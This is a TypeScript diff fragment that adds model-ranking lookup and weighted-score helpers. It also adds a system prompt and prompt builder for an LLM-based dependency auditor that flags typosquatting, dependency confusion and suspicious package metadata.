+ const normalizedSlug = MODEL_SLUGS[modelSlug] || modelSlug.toLowerCase();
80
+ return rankings.find(m => m.slug.toLowerCase() === normalizedSlug)
81
+ || rankings.find(m => m.name.toLowerCase() === normalizedSlug)
82
+ || rankings.find(m => m.name.toLowerCase().includes(normalizedSlug));
83
+ }
84
+
85
+ export async function getModelWeight(modelSlug: string): Promise<number> {
86
+ const model = findModel(await fetchModelRankings(), modelSlug);
87
+ if (!model) return 50;
88
+ return Math.round((model.intelligenceIndex + model.codingIndex) / 2);
89
+ }
90
+
91
+ export async function getModelIntelligence(modelSlug: string): Promise<number> {
92
+ const model = findModel(await fetchModelRankings(), modelSlug);
93
+ return model?.intelligenceIndex || 50;
94
+ }
95
+
96
+ export async function getModelRankingFor(modelSlug: string): Promise<{ intelligence: number; coding: number; weight: number }> {
97
+ const model = findModel(await fetchModelRankings(), modelSlug);
98
+ const intelligence = model?.intelligenceIndex || 50;
99
+ const coding = model?.codingIndex || 50;
100
+ return { intelligence, coding, weight: Math.round((intelligence + coding) / 2) };
101
+ }
102
+
103
+ export function calculateWeightedScore(
104
+ scores: { score: number; weight: number }[]
105
+ ): number {
106
+ if (scores.length === 0) return 0;
107
+
108
+ const totalWeight = scores.reduce((sum, s) => sum + s.weight, 0);
109
+ if (totalWeight === 0) {
110
+ return Math.round(scores.reduce((sum, s) => sum + s.score, 0) / scores.length);
111
+ }
112
+
113
+ const weightedSum = scores.reduce((sum, s) => sum + s.score * s.weight, 0);
114
+ return Math.round(weightedSum / totalWeight);
115
+ }
@@ -109,3 +109,61 @@ ${codeStr || 'No source files found.'}
109
109
 
110
110
  Analyze this package thoroughly and respond with the JSON schema specified in your system instructions.`;
111
111
  }
112
+
113
+ export const CHECK_SYSTEM_PROMPT = `You are a dependency security auditor. You analyze a project's full dependency list for typosquatting, supply chain risks, and suspicious patterns.
114
+
115
+ You MUST respond with a valid JSON object matching this exact schema -- no markdown, no explanation outside the JSON:
116
+
117
+ {
118
+ "findings": [
119
+ {
120
+ "package": "<string: package name>",
121
+ "version": "<string: version>",
122
+ "issue": "<typosquat | malicious_pattern | suspicious_metadata | dependency_confusion | safe>",
123
+ "severity": "<CRITICAL | HIGH | MEDIUM | LOW | NONE>",
124
+ "explanation": "<string: why this is flagged>",
125
+ "suggested_replacement": "<string | null: correct package name if typosquat, or null>",
126
+ "suggested_version": "<string | null: safer version if applicable, or null>"
127
+ }
128
+ ],
129
+ "overall_assessment": "<string: 2-3 sentence summary of the dependency tree health>",
130
+ "risk_score": <number 0-100>
131
+ }
132
+
133
+ Focus on:
134
+ 1. TYPOSQUATTING: Names suspiciously similar to popular packages (missing/extra/swapped chars, separator tricks like _ vs -)
135
+ 2. MALICIOUS PATTERNS: Known malicious package names, suspicious scopes, exfiltration-oriented package descriptions
136
+ 3. DEPENDENCY CONFUSION: Public packages that shadow internal/scoped packages
137
+ 4. SUSPICIOUS METADATA: Very new packages with no downloads claiming to be utilities, packages with copy-pasted descriptions from popular packages
138
+ 5. VERSION RISKS: Packages pinned to pre-release or yanked versions
139
+
140
+ Only flag packages you have genuine concern about. Do not flag well-known legitimate packages.`;
141
+
142
+ export interface DepEntry {
143
+ name: string;
144
+ version: string;
145
+ downloads?: number;
146
+ description?: string;
147
+ author?: string;
148
+ created?: string;
149
+ }
150
+
151
+ export function buildCheckPrompt(deps: DepEntry[], devDeps: DepEntry[]): string {
152
+ const fmtDep = (d: DepEntry) => {
153
+ const meta = [d.downloads !== undefined ? `downloads: ${d.downloads}/wk` : ''];
154
+ if (d.description) meta.push(`desc: "${d.description}"`);
155
+ if (d.author) meta.push(`author: ${d.author}`);
156
+ if (d.created) meta.push(`created: ${d.created}`);
157
+ return `- ${d.name}@${d.version} (${meta.filter(Boolean).join(', ')})`;
158
+ };
159
+
160
+ return `Analyze this project's dependencies for security risks.
161
+
162
+ ## Dependencies (${deps.length})
163
+ ${deps.map(fmtDep).join('\n') || 'none'}
164
+
165
+ ## Dev Dependencies (${devDeps.length})
166
+ ${devDeps.map(fmtDep).join('\n') || 'none'}
167
+
168
+ Analyze each dependency and respond with the JSON schema from your system instructions. Flag any typosquatting, suspicious packages, or risky patterns.`;
169
+ }